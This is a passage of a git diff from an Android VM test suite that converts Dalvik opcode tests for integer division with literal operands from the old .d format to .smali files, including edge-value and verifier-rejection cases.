+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const-wide v1, 3.1415
+       div-int/lit16 v1, v1, 1
+       const v0, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_16.d
deleted file mode 100644
index 6caadaf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_16.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       div-int/lit16 v1, v3, 1
-       const v0, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_16.smali
new file mode 100644
index 0000000..c3cf33e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_16.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       div-int/lit16 v1, v3, 1
+       const v0, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_17.d
deleted file mode 100644
index b60a81d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_17.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_17.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_17
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 4
-
-       div-int/lit16 v0, v3, 4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_17.smali
new file mode 100644
index 0000000..21d9ee2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_17.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_17.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_17;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 4
+
+       div-int/lit16 v0, v3, 4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_18.d
deleted file mode 100644
index 6215666..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_18.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_18.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_18
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       div-int/lit16 v0, v4, 4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_18.smali
new file mode 100644
index 0000000..432917f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_18.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_18.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_18;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       div-int/lit16 v0, v4, 4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_2.d
deleted file mode 100644
index dd4e3f6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_2.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1073741823
-       div-int/lit16 v0, v2, 4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_2.smali
new file mode 100644
index 0000000..8bd3014
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_2.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1073741823
+       div-int/lit16 v0, v2, 4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_3.d
deleted file mode 100644
index b3b4713..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_3.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 0
-       div-int/lit16 v0, v2, 4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_3.smali
new file mode 100644
index 0000000..12281e9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_3.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 0
+       div-int/lit16 v0, v2, 4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_4.d
deleted file mode 100644
index e131fc4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_4.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, -10
-       div-int/lit16 v0, v2, 3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_4.smali
new file mode 100644
index 0000000..1bf052d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_4.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -10
+       div-int/lit16 v0, v2, 3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_5.d
deleted file mode 100644
index b61badf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_5.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1073741824
-       div-int/lit16 v0, v2, -3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_5.smali
new file mode 100644
index 0000000..86559c9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_5.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1073741824
+       div-int/lit16 v0, v2, -3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_6.d
deleted file mode 100644
index c97edff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_6.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_6.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, -17895697
-       div-int/lit16 v0, v2, -3000
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_6.smali
new file mode 100644
index 0000000..f38db0f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_6.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_6.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -17895697
+       div-int/lit16 v0, v2, -3000
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_7.d
deleted file mode 100644
index 66cc917..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_7.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_7.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, -2147483648
-       div-int/lit16 v0, v2, -1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_7.smali
new file mode 100644
index 0000000..e031633
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_7.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_7.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -2147483648
+       div-int/lit16 v0, v2, -1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_8.d
deleted file mode 100644
index 6f2fd00..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_8.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, -2147483648
-       div-int/lit16 v0, v2, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_8.smali
new file mode 100644
index 0000000..042da15
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_8.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -2147483648
+       div-int/lit16 v0, v2, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_9.d
deleted file mode 100644
index 68f757e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_9.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_9.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 2147483647
-       div-int/lit16 v0, v2, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_9.smali
new file mode 100644
index 0000000..f50bdca
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_9.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_9.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 2147483647
+       div-int/lit16 v0, v2, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_1.d
deleted file mode 100644
index 4c6a389..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit8_1.java
-.class public dot.junit.opcodes.div_int_lit8.d.T_div_int_lit8_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 8
-       div-int/lit8 v0, v2, 4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_1.smali
new file mode 100644
index 0000000..d609b0e
